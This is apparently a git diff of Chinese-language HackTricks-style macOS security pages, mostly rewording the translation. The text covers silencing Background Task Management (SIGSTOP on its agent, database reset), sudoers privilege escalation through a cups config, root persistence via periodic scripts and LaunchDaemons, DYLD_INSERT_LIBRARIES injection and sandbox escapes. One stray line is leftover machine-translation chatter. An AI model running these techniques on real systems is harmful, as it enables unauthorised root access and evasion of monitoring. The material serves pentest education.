终结器使用 **`__attribute__((destructor))`** 编写,并位于标记为 `S_MOD_TERM_FUNC_POINTERS` 的部分中(**`__DATA.__mod_term_func`**)。
|
||||
|
||||
### 存根
|
||||
|
||||
@ -42,15 +42,15 @@ macOS 中的所有二进制文件都是动态链接的。因此,它们包含
|
||||
|
||||
- **`__TEXT.__[auth_]stubs`**:来自 `__DATA` 部分的指针
|
||||
- **`__TEXT.__stub_helper`**:调用动态链接的小代码,包含要调用的函数的信息
|
||||
- **`__DATA.__[auth_]got`**:全局偏移表(导入函数的地址,当解析时,(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__[auth_]got`**:全局偏移表(导入函数的地址,当解析时,(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`))
|
||||
- **`__DATA.__nl_symbol_ptr`**:非惰性符号指针(在加载时绑定,因为它标记为 `S_NON_LAZY_SYMBOL_POINTERS`)
|
||||
- **`__DATA.__la_symbol_ptr`**:惰性符号指针(在首次访问时绑定)
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,带有前缀 "auth\_" 的指针使用一个进程内加密密钥来保护它(PAC)。此外,可以使用 arm64 指令 `BLRA[A/B]` 来验证指针,然后再跟随它。RETA\[A/B] 可以用作 RET 地址。\
|
||||
> 请注意,前缀为 "auth\_" 的指针使用一个进程内加密密钥进行保护(PAC)。此外,可以使用 arm64 指令 `BLRA[A/B]` 在跟随指针之前验证它。而 RETA\[A/B] 可以用作 RET 地址。\
|
||||
> 实际上,**`__TEXT.__auth_stubs`** 中的代码将使用 **`braa`** 而不是 **`bl`** 来调用请求的函数以验证指针。
|
||||
>
|
||||
> 还要注意,当前的 dyld 版本加载 **所有内容都为非惰性**。
|
||||
> 还要注意,当前的 dyld 版本将 **所有内容都加载为非惰性**。
|
||||
|
||||
### 查找惰性符号
|
||||
```c
|
||||
@ -95,13 +95,13 @@ Disassembly of section __TEXT,__stubs:
|
||||
100003f9c: f9400210 ldr x16, [x16]
|
||||
100003fa0: d61f0200 br x16
|
||||
```
|
||||
你可以看到我们正在**跳转到GOT的地址**,在这种情况下,它是非惰性解析的,并将包含printf函数的地址。
|
||||
你可以看到我们正在**跳转到GOT的地址**,在这种情况下,它是非懒惰解析的,并将包含printf函数的地址。
|
||||
|
||||
在其他情况下,可能不是直接跳转到GOT,而是跳转到**`__DATA.__la_symbol_ptr`**,这将加载一个表示它试图加载的函数的值,然后跳转到**`__TEXT.__stub_helper`**,该函数跳转到**`__DATA.__nl_symbol_ptr`**,其中包含**`dyld_stub_binder`**的地址,该函数将函数编号和地址作为参数。\
|
||||
这个最后的函数在找到所搜索函数的地址后,将其写入**`__TEXT.__stub_helper`**中的相应位置,以避免将来进行查找。
|
||||
|
||||
> [!TIP]
|
||||
> 但是请注意,当前的dyld版本将所有内容加载为非惰性。
|
||||
> 但是请注意,当前的dyld版本将所有内容加载为非懒惰。
|
||||
|
||||
#### Dyld操作码
|
||||
|
||||
@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
|
||||
printf("%d: %s\n", i, apple[i])
|
||||
}
|
||||
```
|
||||
抱歉,我无法提供该内容的翻译。
|
||||
请提供需要翻译的具体内容。
|
||||
```
|
||||
0: executable_path=./a
|
||||
1:
|
||||
@ -135,7 +135,7 @@ printf("%d: %s\n", i, apple[i])
|
||||
11: th_port=
|
||||
```
|
||||
> [!TIP]
|
||||
> 当这些值到达主函数时,敏感信息已经从中删除,否则将会发生数据泄露。
|
||||
> 到这些值到达主函数时,敏感信息已经从中删除,否则就会发生数据泄露。
|
||||
|
||||
可以在进入主函数之前通过调试查看所有这些有趣的值:
|
||||
|
||||
@ -180,7 +180,7 @@ printf("%d: %s\n", i, apple[i])
|
||||
|
||||
## dyld_all_image_infos
|
||||
|
||||
这是由 dyld 导出的一个结构,包含有关 dyld 状态的信息,可以在 [**源代码**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) 中找到,包含版本、指向 dyld_image_info 数组的指针、指向 dyld_image_notifier 的指针、如果进程与共享缓存分离、如果调用了 libSystem 初始化器、指向 dyls 自身 Mach 头的指针、指向 dyld 版本字符串的指针等信息。
|
||||
这是由 dyld 导出的一个结构,包含有关 dyld 状态的信息,可以在 [**源代码**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) 中找到,包含版本、指向 dyld_image_info 数组的指针、指向 dyld_image_notifier 的指针、如果进程与共享缓存分离、如果调用了 libSystem 初始化程序、指向 dyls 自身 Mach 头的指针、指向 dyld 版本字符串的指针等信息。
|
||||
|
||||
## dyld 环境变量
|
||||
|
||||
@ -245,7 +245,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
|
||||
```
|
||||
- **DYLD_PRINT_INITIALIZERS**
|
||||
|
||||
打印每个库初始化器运行时的情况:
|
||||
当每个库初始化器运行时打印:
|
||||
```
|
||||
DYLD_PRINT_INITIALIZERS=1 ./apple
|
||||
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
@ -258,7 +258,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_FORCE_FLAT_NAMESPACE`: 单级绑定
|
||||
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解析路径
|
||||
- `DYLD_INSERT_LIBRARIES`: 加载特定库
|
||||
- `DYLD_PRINT_TO_FILE`: 将 dyld 调试信息写入文件
|
||||
- `DYLD_PRINT_TO_FILE`: 将 dyld 调试写入文件
|
||||
- `DYLD_PRINT_APIS`: 打印 libdyld API 调用
|
||||
- `DYLD_PRINT_APIS_APP`: 打印主程序调用的 libdyld API
|
||||
- `DYLD_PRINT_BINDINGS`: 打印绑定时的符号
|
||||
@ -287,7 +287,7 @@ strings /usr/lib/dyld | grep "^DYLD_" | sort -u
|
||||
```bash
|
||||
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
|
||||
|
||||
@ -32,7 +32,7 @@ macos-sandbox/
|
||||
|
||||
### TCC - **透明性、同意和控制**
|
||||
|
||||
**TCC (透明性、同意和控制)** 是一个安全框架。它旨在 **管理应用程序的权限**,特别是通过调节它们对敏感功能的访问。这包括 **位置服务、联系人、照片、麦克风、相机、无障碍和完整磁盘访问** 等元素。TCC 确保应用程序只能在获得用户明确同意后访问这些功能,从而增强对个人数据的隐私和控制。
|
||||
**TCC (透明性、同意和控制)** 是一个安全框架。它旨在 **管理应用程序的权限**,特别是通过调节它们对敏感功能的访问。这包括 **位置服务、联系人、照片、麦克风、相机、辅助功能和完整磁盘访问** 等元素。TCC 确保应用程序只能在获得用户明确同意后访问这些功能,从而增强对个人数据的隐私和控制。
|
||||
|
||||
{{#ref}}
|
||||
macos-tcc/
|
||||
@ -40,7 +40,7 @@ macos-tcc/
|
||||
|
||||
### 启动/环境约束与信任缓存
|
||||
|
||||
macOS 中的启动约束是一种安全功能,用于 **调节进程启动**,通过定义 **谁可以启动** 进程、**如何** 启动以及 **从哪里** 启动。该功能在 macOS Ventura 中引入,将系统二进制文件分类到信任缓存中的约束类别。每个可执行二进制文件都有设定的 **启动规则**,包括 **自我**、**父级** 和 **责任** 约束。扩展到第三方应用程序作为 macOS Sonoma 中的 **环境** 约束,这些功能通过管理进程启动条件来帮助减轻潜在的系统利用。
|
||||
macOS 中的启动约束是一种安全特性,用于 **调节进程启动**,通过定义 **谁可以启动** 进程、**如何** 启动以及 **从哪里** 启动。该功能在 macOS Ventura 中引入,将系统二进制文件分类到信任缓存中的约束类别。每个可执行二进制文件都有设定的 **启动规则**,包括 **自我**、**父级** 和 **责任** 约束。扩展到第三方应用程序作为 macOS Sonoma 中的 **环境** 约束,这些功能通过管理进程启动条件来帮助减轻潜在的系统利用。
|
||||
|
||||
{{#ref}}
|
||||
macos-launch-environment-constraints.md
|
||||
@ -50,7 +50,7 @@ macos-launch-environment-constraints.md
|
||||
|
||||
恶意软件移除工具 (MRT) 是 macOS 安全基础设施的另一个组成部分。顾名思义,MRT 的主要功能是 **从感染的系统中移除已知恶意软件**。
|
||||
|
||||
一旦在 Mac 上检测到恶意软件(无论是通过 XProtect 还是其他方式),可以使用 MRT 自动 **移除恶意软件**。MRT 在后台静默运行,通常在系统更新或下载新恶意软件定义时运行(看起来 MRT 检测恶意软件的规则在二进制文件内部)。
|
||||
一旦在 Mac 上检测到恶意软件(无论是通过 XProtect 还是其他方式),可以使用 MRT 自动 **移除恶意软件**。MRT 在后台静默运行,通常在系统更新或下载新恶意软件定义时运行(看起来 MRT 检测恶意软件的规则在二进制文件中)。
|
||||
|
||||
虽然 XProtect 和 MRT 都是 macOS 安全措施的一部分,但它们执行不同的功能:
|
||||
|
||||
@ -87,7 +87,7 @@ MRT 应用程序位于 **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
```
|
||||
### 枚举
|
||||
|
||||
可以使用 Apple cli 工具**枚举所有**配置的后台项目:
|
||||
可以使用 Apple cli 工具 **枚举所有** 配置的后台项目:
|
||||
```bash
|
||||
# The tool will always ask for the users password
|
||||
sfltool dumpbtm
|
||||
@ -103,15 +103,15 @@ xattr -rc dumpBTM # Remove quarantine attr
|
||||
|
||||
### 操作 BTM
|
||||
|
||||
当发现新的持久性时,会发生类型为 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 的事件。因此,任何 **防止** 该 **事件** 被发送或 **代理不警告** 用户的方法都将帮助攻击者 _**绕过**_ BTM。
|
||||
当发现新的持久性时,会生成类型为 **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** 的事件。因此,任何 **防止** 该 **事件** 被发送或 **代理不警告** 用户的方法都将帮助攻击者 _**绕过**_ BTM。
|
||||
|
||||
- **重置数据库**:运行以下命令将重置数据库(应该从头开始重建),但是,由于某种原因,在运行此命令后,**在系统重启之前不会警告任何新的持久性**。
|
||||
- **需要 root 权限**。
|
||||
- **重置数据库**:运行以下命令将重置数据库(应该从头开始重建),但是,由于某种原因,运行此命令后,**在系统重启之前不会警告任何新的持久性**。
|
||||
- 需要 **root** 权限。
|
||||
```bash
|
||||
# Reset the database
|
||||
sfltool resettbtm
|
||||
```
|
||||
- **停止代理**:可以向代理发送停止信号,以便它 **不会在发现新检测时提醒用户**。
|
||||
- **停止代理**:可以向代理发送停止信号,以便它**不会在发现新检测时提醒用户**。
|
||||
```bash
|
||||
# Get PID
|
||||
pgrep BackgroundTaskManagementAgent
|
||||
@ -124,7 +124,7 @@ kill -SIGSTOP 1011
|
||||
ps -o state 1011
|
||||
T
|
||||
```
|
||||
- **错误**:如果**创建持久性的进程在其后快速存在**,守护进程将尝试**获取信息**,**失败**,并且**无法发送事件**,指示新的事物正在持久化。
|
||||
- **漏洞**:如果**创建持久性的进程在其后快速存在**,守护进程将尝试**获取信息**,**失败**,并且**无法发送事件**,指示新的事物正在持久化。
|
||||
|
||||
参考和**关于BTM的更多信息**:
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
**目录**中的权限:
|
||||
|
||||
- **读取** - 你可以 **枚举** 目录条目
|
||||
- **写入** - 你可以 **删除/写入** 目录中的 **文件**,并且可以 **删除空文件夹**。
|
||||
- **写入** - 你可以 **删除/写入** 目录中的 **文件**,并且你可以 **删除空文件夹**。
|
||||
- 但你 **不能删除/修改非空文件夹**,除非你对其拥有写入权限。
|
||||
- 你 **不能修改文件夹的名称**,除非你拥有它。
|
||||
- **执行** - 你被 **允许遍历** 目录 - 如果你没有这个权限,你无法访问其中的任何文件或任何子目录。
|
||||
@ -24,7 +24,7 @@
|
||||
|
||||
### 文件夹 root R+X 特殊情况
|
||||
|
||||
如果在一个 **目录** 中有文件,**只有 root 拥有 R+X 访问权限**,那么这些文件对 **其他人不可访问**。因此,允许 **将用户可读的文件** 移动的漏洞,因该 **限制** 而无法读取,从这个文件夹 **到另一个文件夹**,可能被滥用以读取这些文件。
|
||||
如果在一个 **目录** 中,**只有 root 拥有 R+X 访问权限**,那么这些文件对 **其他任何人** 都是 **不可访问的**。因此,允许 **将一个用户可读的文件** 从这个文件夹 **移动到另一个文件夹** 的漏洞,可能会被滥用以读取这些文件。
|
||||
|
||||
示例在:[https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
@ -32,13 +32,13 @@
|
||||
|
||||
### 宽松的文件/文件夹
|
||||
|
||||
如果一个特权进程正在 **文件** 中写入数据,而该文件可能被 **低特权用户控制**,或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**,特权进程将会在该文件上写入。
|
||||
如果一个特权进程正在写入一个 **文件**,该文件可能被 **低特权用户控制**,或者可能是 **之前由低特权用户创建**。用户可以通过符号链接或硬链接 **指向另一个文件**,特权进程将会在该文件上写入。
|
||||
|
||||
查看其他部分,攻击者可能 **滥用任意写入以提升特权**。
|
||||
查看其他部分,攻击者可能会 **滥用任意写入以提升特权**。
|
||||
|
||||
### 打开 `O_NOFOLLOW`
|
||||
|
||||
当 `open` 函数使用标志 `O_NOFOLLOW` 时,不会在最后路径组件中跟随符号链接,但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`。
|
||||
当 `open` 函数使用标志 `O_NOFOLLOW` 时,它不会跟随最后路径组件中的符号链接,但会跟随路径的其余部分。防止在路径中跟随符号链接的正确方法是使用标志 `O_NOFOLLOW_ANY`。
|
||||
|
||||
## .fileloc
|
||||
|
||||
@ -58,11 +58,11 @@
|
||||
```
|
||||
## 文件描述符
|
||||
|
||||
### 泄漏 FD (无 `O_CLOEXEC`)
|
||||
### 泄漏 FD (没有 `O_CLOEXEC`)
|
||||
|
||||
如果调用 `open` 时没有标志 `O_CLOEXEC`,文件描述符将被子进程继承。因此,如果一个特权进程打开一个特权文件并执行一个由攻击者控制的进程,攻击者将 **继承对特权文件的 FD**。
|
||||
|
||||
如果你能让一个 **进程以高权限打开一个文件或文件夹**,你可以利用 **`crontab`** 以 **`EDITOR=exploit.py`** 打开 `/etc/sudoers.d` 中的一个文件,这样 `exploit.py` 将获得对 `/etc/sudoers` 中的文件的 FD 并加以利用。
|
||||
如果你能让一个 **进程以高权限打开一个文件或文件夹**,你可以利用 **`crontab`** 在 `/etc/sudoers.d` 中打开一个文件,使用 **`EDITOR=exploit.py`**,这样 `exploit.py` 将获得对 `/etc/sudoers` 中文件的 FD 并加以利用。
|
||||
|
||||
例如: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098),代码: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||
|
||||
@ -86,7 +86,7 @@ ls -lO /tmp/asd
|
||||
```
|
||||
### defvfs mount
|
||||
|
||||
A **devfs** mount **不支持 xattr**,更多信息请参见 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
一个 **devfs** 挂载 **不支持 xattr**,更多信息请参见 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
```bash
|
||||
mkdir /tmp/mnt
|
||||
mount_devfs -o noowners none "/tmp/mnt"
|
||||
@ -120,13 +120,13 @@ ls -le /tmp/test
|
||||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
**AppleDouble** 文件格式复制一个文件及其 ACEs。
|
||||
**AppleDouble** 文件格式复制文件及其 ACE。
|
||||
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果你将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
|
||||
|
||||
查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) 以获取更多信息。
|
||||
|
||||
要复制这个,我们首先需要获取正确的 acl 字符串:
|
||||
要复制这一点,我们首先需要获取正确的 acl 字符串:
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
@ -148,6 +148,7 @@ ls -le test
|
||||
|
||||
Not really needed but I leave it there just in case:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
macos-xattr-acls-extra-stuff.md
|
||||
{{#endref}}
|
||||
@ -156,11 +157,11 @@ macos-xattr-acls-extra-stuff.md
|
||||
|
||||
### 绕过平台二进制检查
|
||||
|
||||
一些安全检查会检查二进制文件是否为 **平台二进制**,例如允许连接到 XPC 服务。然而,如在 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ 中所述,可以通过获取一个平台二进制(如 /bin/ls)并通过 dyld 使用环境变量 `DYLD_INSERT_LIBRARIES` 注入漏洞来绕过此检查。
|
||||
一些安全检查会检查二进制文件是否为**平台二进制**,例如允许连接到XPC服务。然而,如在https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/中所述,可以通过获取一个平台二进制(如/bin/ls)并通过dyld使用环境变量`DYLD_INSERT_LIBRARIES`注入漏洞来绕过此检查。
|
||||
|
||||
### 绕过标志 `CS_REQUIRE_LV` 和 `CS_FORCED_LV`
|
||||
### 绕过标志`CS_REQUIRE_LV`和`CS_FORCED_LV`
|
||||
|
||||
执行中的二进制文件可以修改其自身的标志,以通过如下代码绕过检查:
|
||||
执行中的二进制文件可以修改其自身的标志,以绕过检查,代码如下:
|
||||
```c
|
||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
||||
int pid = getpid();
|
||||
@ -227,7 +228,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
|
||||
```
|
||||
## Mount dmgs
|
||||
|
||||
用户可以挂载一个自定义的 dmg,即使是在某些现有文件夹之上。这就是您如何创建一个包含自定义内容的自定义 dmg 包:
|
||||
用户可以挂载一个自定义的 dmg,即使是在某些现有文件夹上。这就是您如何创建一个包含自定义内容的自定义 dmg 包:
|
||||
```bash
|
||||
# Create the volume
|
||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||
@ -248,8 +249,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
通常,macOS 通过 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 服务(由 `/usr/libexec/diskarbitrationd` 提供)挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重启,它将把日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
然而,可以使用像 `hdik` 和 `hdiutil` 这样的工具直接与 `com.apple.driver.DiskImages` kext 通信。
|
||||
通常,macOS 通过与 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 服务(由 `/usr/libexec/diskarbitrationd` 提供)进行通信来挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重启,它将把日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
然而,可以使用像 `hdik` 和 `hdiutil` 这样的工具直接与 `com.apple.driver.DiskImages` kext 进行通信。
|
||||
|
||||
## 任意写入
|
||||
|
||||
@ -257,7 +258,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
|
||||
如果您的脚本可以被解释为 **shell 脚本**,您可以覆盖 **`/etc/periodic/daily/999.local`** shell 脚本,该脚本将每天触发。
|
||||
|
||||
您可以用以下命令 **伪造** 该脚本的执行:**`sudo periodic daily`**
|
||||
您可以通过以下方式 **伪造** 此脚本的执行:**`sudo periodic daily`**
|
||||
|
||||
### 守护进程
|
||||
|
||||
@ -278,15 +279,15 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
只需生成脚本 `/Applications/Scripts/privesc.sh`,并在其中添加您希望以 root 身份运行的 **命令**。
|
||||
生成脚本 `/Applications/Scripts/privesc.sh`,其中包含您希望以 root 身份运行的 **命令**。
|
||||
|
||||
### Sudoers 文件
|
||||
|
||||
如果您具有 **任意写入** 权限,您可以在 **`/etc/sudoers.d/`** 文件夹中创建一个文件,从而授予自己 **sudo** 权限。
|
||||
如果您具有 **任意写入** 权限,您可以在 **`/etc/sudoers.d/`** 文件夹中创建一个文件,授予自己 **sudo** 权限。
|
||||
|
||||
### PATH 文件
|
||||
|
||||
文件 **`/etc/paths`** 是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果 **特权进程** 执行某些 **命令而没有完整路径**,您可能能够通过修改此文件来 **劫持** 它。
|
||||
文件 **`/etc/paths`** 是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果 **特权进程** 执行某个 **命令而没有完整路径**,您可能能够通过修改此文件来 **劫持** 它。
|
||||
|
||||
您还可以在 **`/etc/paths.d`** 中写入文件,以将新文件夹加载到 `PATH` 环境变量中。
|
||||
|
||||
@ -302,17 +303,17 @@ LogFilePerm 777
|
||||
```
|
||||
这将创建文件 `/etc/sudoers.d/lpe`,权限为 777。末尾的额外垃圾是为了触发错误日志的创建。
|
||||
|
||||
然后,在 `/etc/sudoers.d/lpe` 中写入所需的配置以提升权限,如 `%staff ALL=(ALL) NOPASSWD:ALL`。
|
||||
然后,在 `/etc/sudoers.d/lpe` 中写入所需的配置以提升权限,例如 `%staff ALL=(ALL) NOPASSWD:ALL`。
|
||||
|
||||
然后,再次修改文件 `/etc/cups/cups-files.conf`,指示 `LogFilePerm 700`,以便新的 sudoers 文件在调用 `cupsctl` 时变得有效。
|
||||
|
||||
### 沙盒逃逸
|
||||
### 沙箱逃逸
|
||||
|
||||
可以通过 FS 任意写入来逃逸 macOS 沙盒。有关一些示例,请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md),但一个常见的例子是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件,该文件在启动时执行命令,并使用 `open` 调用它。
|
||||
可以通过 FS 任意写入来逃逸 macOS 沙箱。有关一些示例,请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md),但一个常见的方法是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件,该文件在启动时执行一个命令,并使用 `open` 调用它。
|
||||
|
||||
## 生成其他用户可写文件
|
||||
|
||||
这将生成一个属于 root 的文件,我可以写入([**代码来自这里**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。这也可能作为权限提升的手段:
|
||||
这将生成一个属于 root 的文件,我可以写入([**代码来自这里**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。这也可能作为特权提升有效:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
@ -424,7 +425,7 @@ return 0;
|
||||
|
||||
**macOS 受保护描述符** 是在 macOS 中引入的一项安全功能,旨在增强用户应用程序中 **文件描述符操作** 的安全性和可靠性。这些受保护的描述符提供了一种将特定限制或“保护”与文件描述符关联的方法,这些限制由内核强制执行。
|
||||
|
||||
此功能特别有助于防止某些类别的安全漏洞,例如 **未经授权的文件访问** 或 **竞争条件**。这些漏洞发生在例如一个线程正在访问一个文件描述符,导致 **另一个易受攻击的线程对其访问**,或者当一个文件描述符被 **继承** 给一个易受攻击的子进程时。与此功能相关的一些函数包括:
|
||||
此功能特别有助于防止某些类别的安全漏洞,例如 **未经授权的文件访问** 或 **竞争条件**。这些漏洞发生在例如一个线程正在访问文件描述符,导致 **另一个脆弱线程对其的访问**,或者当文件描述符被 **继承** 给一个脆弱的子进程时。与此功能相关的一些函数包括:
|
||||
|
||||
- `guarded_open_np`: 以保护方式打开文件描述符
|
||||
- `guarded_close_np`: 关闭它
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
MacOS Sandbox(最初称为 Seatbelt)**限制在沙箱内运行的应用程序**只能执行**沙箱配置文件中指定的允许操作**。这有助于确保**应用程序仅访问预期的资源**。
|
||||
MacOS Sandbox(最初称为 Seatbelt)**限制应用程序**在沙箱内运行时只能执行**沙箱配置文件中指定的允许操作**。这有助于确保**应用程序仅访问预期的资源**。
|
||||
|
||||
任何具有**权限** **`com.apple.security.app-sandbox`**的应用程序将会在沙箱内执行。**Apple 二进制文件**通常在沙箱内执行,所有来自**App Store**的应用程序都有该权限。因此,多个应用程序将在沙箱内执行。
|
||||
任何具有**权限** **`com.apple.security.app-sandbox`**的应用程序都将在沙箱内执行。**Apple 二进制文件**通常在沙箱内执行,所有来自**App Store**的应用程序都有该权限。因此,多个应用程序将在沙箱内执行。
|
||||
|
||||
为了控制进程可以或不能做什么,**沙箱在几乎所有进程可能尝试的操作中都有钩子**(包括大多数系统调用),使用**MACF**。然而,**根据**应用程序的**权限**,沙箱可能对进程更加宽松。
|
||||
|
||||
@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
||||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**具有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
|
||||
> 请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**具有权限**才能访问它们。这些权限在`RedirectablePaths`中的**`.plist`**内。
|
||||
|
||||
**`SandboxProfileData`**是编译后的沙箱配置文件CFData,已转义为B64。
|
||||
**`SandboxProfileData`**是编译后的沙盒配置文件CFData,已转义为B64。
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
@ -110,9 +110,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||
|
||||
## 沙盒配置文件
|
||||
|
||||
沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的配置文件。它使用**沙盒配置文件语言 (SBPL)**,该语言使用[**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>) 编程语言。
|
||||
沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的内容的配置文件。它使用**沙盒配置文件语言 (SBPL)**,该语言使用[**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>) 编程语言。
|
||||
|
||||
这里有一个示例:
|
||||
这里可以找到一个示例:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
@ -199,19 +199,19 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 请注意,**Apple 编写的** **软件** 在 **Windows** 上 **没有额外的安全措施**,例如应用程序沙箱。
|
||||
|
||||
绕过示例:
|
||||
|
||||
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(他们能够写入以 `~$` 开头的沙箱外部文件)。
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (他们能够写入以 `~$` 开头的沙箱外文件)。
|
||||
|
||||
### 沙箱跟踪
|
||||
|
||||
#### 通过配置文件
|
||||
|
||||
可以跟踪每次检查操作时沙箱执行的所有检查。为此,只需创建以下配置文件:
|
||||
可以跟踪沙箱每次检查操作时执行的所有检查。为此,只需创建以下配置文件:
|
||||
```scheme:trace.sb
|
||||
(version 1)
|
||||
(trace /tmp/trace.out)
|
||||
@ -227,7 +227,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
||||
#### 通过 API
|
||||
|
||||
`libsystem_sandbox.dylib` 导出的函数 `sandbox_set_trace_path` 允许指定一个跟踪文件名,沙箱检查将写入该文件。\
|
||||
还可以通过调用 `sandbox_vtrace_enable()` 做类似的事情,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
|
||||
还可以通过调用 `sandbox_vtrace_enable()` 来做类似的事情,然后通过调用 `sandbox_vtrace_report()` 从缓冲区获取日志错误。
|
||||
|
||||
### 沙箱检查
|
||||
|
||||
@ -243,9 +243,9 @@ MacOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
